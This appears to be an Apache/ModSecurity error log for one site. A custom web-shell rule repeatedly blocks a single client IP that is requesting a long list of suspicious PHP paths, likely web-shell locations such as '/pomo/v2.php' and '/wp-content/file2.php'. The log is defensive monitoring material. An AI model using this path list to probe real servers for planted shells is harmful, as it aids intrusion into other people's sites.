[Mon Apr 13 06:06:45.708087 2026] [:error] [pid 33942:tid 33982] [client 74.248.16.65:44238] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/src.php"] [unique_id "adwXdRNHe8geO_lMeFajQAAAAEM"]
[Mon Apr 13 06:06:46.891322 2026] [:error] [pid 11325:tid 11340] [client 74.248.16.65:44279] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pomo/v2.php"] [unique_id "adwXduCGj3EEJtCwa0OdOwAAAQ0"]
[Mon Apr 13 06:06:48.606777 2026] [:error] [pid 33943:tid 34021] [client 74.248.16.65:10014] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pomo/v2.php"] [unique_id "adwXeKyoXuZjocnxM5FzKwAAAI8"]
[Mon Apr 13 06:06:56.503029 2026] [:error] [pid 11325:tid 11343] [client 74.248.16.65:41600] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pomo/v2.php"] [unique_id "adwXgOCGj3EEJtCwa0OdTQAAARA"]
[Mon Apr 13 06:06:57.416969 2026] [:error] [pid 11325:tid 11339] [client 74.248.16.65:35080] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pomo/v2.php"] [unique_id "adwXgeCGj3EEJtCwa0OdUAAAAQw"]
[Mon Apr 13 06:06:59.192336 2026] [:error] [pid 33943:tid 34020] [client 74.248.16.65:27063] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxd.php"] [unique_id "adwXg6yoXuZjocnxM5FzNAAAAI4"]
[Mon Apr 13 06:07:02.448301 2026] [:error] [pid 11325:tid 11341] [client 74.248.16.65:17627] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxd.php"] [unique_id "adwXhuCGj3EEJtCwa0OdXQAAAQ4"]
[Mon Apr 13 06:07:05.476774 2026] [:error] [pid 34048:tid 34055] [client 74.248.16.65:10002] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxd.php"] [unique_id "adwXifSiQ_PJjlY5Ehz7dgAAAMU"]
[Mon Apr 13 06:07:08.354663 2026] [proxy_fcgi:error] [pid 11325:tid 11349] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:08.612646 2026] [proxy_fcgi:error] [pid 11325:tid 11344] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:09.332490 2026] [proxy_fcgi:error] [pid 11325:tid 11329] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:09.588614 2026] [proxy_fcgi:error] [pid 11325:tid 11346] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:09.963196 2026] [proxy_fcgi:error] [pid 11325:tid 11337] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:10.228012 2026] [proxy_fcgi:error] [pid 11325:tid 11345] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:10.484714 2026] [proxy_fcgi:error] [pid 11325:tid 11334] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:10.772149 2026] [proxy_fcgi:error] [pid 11325:tid 11339] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:11.028772 2026] [proxy_fcgi:error] [pid 11325:tid 11336] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:11.304575 2026] [proxy_fcgi:error] [pid 11325:tid 11341] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:11.577803 2026] [proxy_fcgi:error] [pid 11325:tid 11327] [client 74.248.16.65:20314] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:07:11.830500 2026] [:error] [pid 11325:tid 11340] [client 74.248.16.65:20314] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs2.php"] [unique_id "adwXj-CGj3EEJtCwa0OdegAAAQ0"]
[Mon Apr 13 06:07:13.524655 2026] [:error] [pid 34048:tid 34073] [client 74.248.16.65:27070] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs2.php"] [unique_id "adwXkfSiQ_PJjlY5Ehz7egAAANc"]
[Mon Apr 13 06:07:14.758012 2026] [:error] [pid 33941:tid 33972] [client 74.248.16.65:33062] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs2.php"] [unique_id "adwXkm_NKERAxgG-rYM9gQAAABU"]
[Mon Apr 13 06:07:15.750424 2026] [:error] [pid 33943:tid 34010] [client 74.248.16.65:42678] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs2.php"] [unique_id "adwXk6yoXuZjocnxM5FzPQAAAIQ"]
[Mon Apr 13 06:07:16.566964 2026] [:error] [pid 33943:tid 34026] [client 74.248.16.65:17621] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wf.php"] [unique_id "adwXlKyoXuZjocnxM5FzPgAAAJQ"]
[Mon Apr 13 06:07:18.207585 2026] [:error] [pid 33942:tid 33986] [client 74.248.16.65:39151] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wf.php"] [unique_id "adwXlhNHe8geO_lMeFajWgAAAEc"]
[Mon Apr 13 06:07:19.796134 2026] [:error] [pid 33942:tid 34003] [client 74.248.16.65:34164] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wf.php"] [unique_id "adwXlxNHe8geO_lMeFajXwAAAFg"]
[Mon Apr 13 06:07:21.686588 2026] [:error] [pid 33942:tid 33999] [client 74.248.16.65:39104] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wf.php"] [unique_id "adwXmRNHe8geO_lMeFajcAAAAFQ"]
[Mon Apr 13 06:07:22.681081 2026] [:error] [pid 11325:tid 11331] [client 74.248.16.65:39126] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vcard.php"] [unique_id "adwXmuCGj3EEJtCwa0OdjwAAAQQ"]
[Mon Apr 13 06:07:25.283614 2026] [:error] [pid 34048:tid 34059] [client 74.248.16.65:31030] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vcard.php"] [unique_id "adwXnfSiQ_PJjlY5Ehz7gwAAAMk"]
[Mon Apr 13 06:07:27.684152 2026] [:error] [pid 11325:tid 11350] [client 74.248.16.65:27058] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vcard.php"] [unique_id "adwXn-CGj3EEJtCwa0OdowAAARc"]
[Mon Apr 13 06:07:29.407106 2026] [:error] [pid 33942:tid 33988] [client 74.248.16.65:21461] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vcard.php"] [unique_id "adwXoRNHe8geO_lMeFajdwAAAEk"]
[Mon Apr 13 06:07:31.496736 2026] [:error] [pid 33942:tid 33990] [client 74.248.16.65:43227] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwXoxNHe8geO_lMeFajeQAAAEs"]
[Mon Apr 13 06:07:36.060647 2026] [:error] [pid 33943:tid 34015] [client 74.248.16.65:21475] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwXqKyoXuZjocnxM5FzRAAAAIk"]
[Mon Apr 13 06:07:40.572662 2026] [:error] [pid 11325:tid 11337] [client 74.248.16.65:36245] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwXrOCGj3EEJtCwa0OdsAAAAQo"]
[Mon Apr 13 06:07:44.253664 2026] [:error] [pid 11325:tid 11333] [client 74.248.16.65:20335] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwXsOCGj3EEJtCwa0OdtgAAAQY"]
[Mon Apr 13 06:07:47.840269 2026] [:error] [pid 33943:tid 34029] [client 74.248.16.65:60146] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "adwXs6yoXuZjocnxM5FzRwAAAJc"]
[Mon Apr 13 06:07:51.570530 2026] [:error] [pid 11325:tid 11331] [client 74.248.16.65:20301] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "adwXt-CGj3EEJtCwa0OdvgAAAQQ"]
[Mon Apr 13 06:07:54.458001 2026] [:error] [pid 11325:tid 11348] [client 74.248.16.65:39138] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "adwXuuCGj3EEJtCwa0Od2wAAARU"]
[Mon Apr 13 06:07:57.550119 2026] [:error] [pid 33942:tid 34003] [client 74.248.16.65:27011] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "adwXvRNHe8geO_lMeFajlQAAAFg"]
[Mon Apr 13 06:07:59.441604 2026] [:error] [pid 33942:tid 33979] [client 74.248.16.65:39147] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rc.php7"] [unique_id "adwXvxNHe8geO_lMeFajmQAAAEA"]
[Mon Apr 13 06:08:01.023035 2026] [:error] [pid 34048:tid 34064] [client 74.248.16.65:17622] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rc.php7"] [unique_id "adwXwfSiQ_PJjlY5Ehz7mAAAAM4"]
[Mon Apr 13 06:08:04.176467 2026] [:error] [pid 34048:tid 34067] [client 74.248.16.65:21032] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rc.php7"] [unique_id "adwXxPSiQ_PJjlY5Ehz7mgAAANE"]
[Mon Apr 13 06:08:06.078055 2026] [:error] [pid 33943:tid 34010] [client 74.248.16.65:21051] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rc.php7"] [unique_id "adwXxqyoXuZjocnxM5FzUAAAAIQ"]
[Mon Apr 13 06:08:08.014132 2026] [:error] [pid 33942:tid 33997] [client 74.248.16.65:30177] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "adwXyBNHe8geO_lMeFajngAAAFI"]
[Mon Apr 13 06:08:10.693347 2026] [:error] [pid 33942:tid 33986] [client 74.248.16.65:9531] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "adwXyhNHe8geO_lMeFajnwAAAEc"]
[Mon Apr 13 06:08:13.590923 2026] [proxy_fcgi:error] [pid 33941:tid 33952] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:15.049778 2026] [proxy_fcgi:error] [pid 33941:tid 33960] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:15.307478 2026] [proxy_fcgi:error] [pid 33941:tid 33973] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:15.851418 2026] [proxy_fcgi:error] [pid 33941:tid 33950] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:16.125792 2026] [proxy_fcgi:error] [pid 33941:tid 33969] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:16.382061 2026] [proxy_fcgi:error] [pid 33941:tid 33963] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:16.935768 2026] [proxy_fcgi:error] [pid 33941:tid 33951] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:17.192686 2026] [proxy_fcgi:error] [pid 33941:tid 33974] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:17.449748 2026] [proxy_fcgi:error] [pid 33941:tid 33959] [client 74.248.16.65:24582] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:08:17.702458 2026] [:error] [pid 33941:tid 33962] [client 74.248.16.65:24582] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p.php7"] [unique_id "adwX0W_NKERAxgG-rYM9ngAAAAs"]
[Mon Apr 13 06:08:22.485413 2026] [:error] [pid 11325:tid 11344] [client 74.248.16.65:24163] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p.php7"] [unique_id "adwX1uCGj3EEJtCwa0OeAQAAARE"]
[Mon Apr 13 06:08:24.340323 2026] [:error] [pid 33943:tid 34014] [client 74.248.16.65:59433] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p.php7"] [unique_id "adwX2KyoXuZjocnxM5FzaQAAAIg"]
[Mon Apr 13 06:08:26.115901 2026] [:error] [pid 33943:tid 34028] [client 74.248.16.65:31890] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p.php7"] [unique_id "adwX2qyoXuZjocnxM5FzbgAAAJY"]
[Mon Apr 13 06:08:27.709148 2026] [:error] [pid 33942:tid 33987] [client 74.248.16.65:21398] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "adwX2xNHe8geO_lMeFajqAAAAEg"]
[Mon Apr 13 06:08:29.359038 2026] [:error] [pid 33943:tid 34014] [client 74.248.16.65:29003] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "adwX3ayoXuZjocnxM5FzdwAAAIg"]
[Mon Apr 13 06:08:30.339913 2026] [:error] [pid 33943:tid 34025] [client 74.248.16.65:45400] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "adwX3qyoXuZjocnxM5FzegAAAJM"]
[Mon Apr 13 06:08:31.162914 2026] [:error] [pid 11325:tid 11339] [client 74.248.16.65:31910] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "adwX3-CGj3EEJtCwa0OeBAAAAQw"]
[Mon Apr 13 06:08:32.999706 2026] [:error] [pid 33942:tid 33985] [client 74.248.16.65:26041] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ran.php"] [unique_id "adwX4BNHe8geO_lMeFajqQAAAEY"]
[Mon Apr 13 06:08:36.724134 2026] [:error] [pid 33942:tid 33993] [client 74.248.16.65:29724] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ran.php"] [unique_id "adwX5BNHe8geO_lMeFajrQAAAE4"]
[Mon Apr 13 06:08:38.223755 2026] [:error] [pid 11325:tid 11338] [client 74.248.16.65:36177] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ran.php"] [unique_id "adwX5uCGj3EEJtCwa0OeDgAAAQs"]
[Mon Apr 13 06:08:39.858433 2026] [:error] [pid 33942:tid 33989] [client 74.248.16.65:48033] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ran.php"] [unique_id "adwX5xNHe8geO_lMeFajtAAAAEo"]
[Mon Apr 13 06:08:41.478313 2026] [:error] [pid 33941:tid 33965] [client 74.248.16.65:9350] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k90.php"] [unique_id "adwX6W_NKERAxgG-rYM9rAAAAA4"]
[Mon Apr 13 06:08:43.239060 2026] [:error] [pid 11325:tid 11348] [client 74.248.16.65:46591] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k90.php"] [unique_id "adwX6-CGj3EEJtCwa0OeEQAAARU"]
[Mon Apr 13 06:08:44.297704 2026] [:error] [pid 33942:tid 34001] [client 74.248.16.65:46988] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k90.php"] [unique_id "adwX7BNHe8geO_lMeFajuQAAAFY"]
[Mon Apr 13 06:08:45.837696 2026] [:error] [pid 11325:tid 11345] [client 74.248.16.65:9761] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k90.php"] [unique_id "adwX7eCGj3EEJtCwa0OeFAAAARI"]
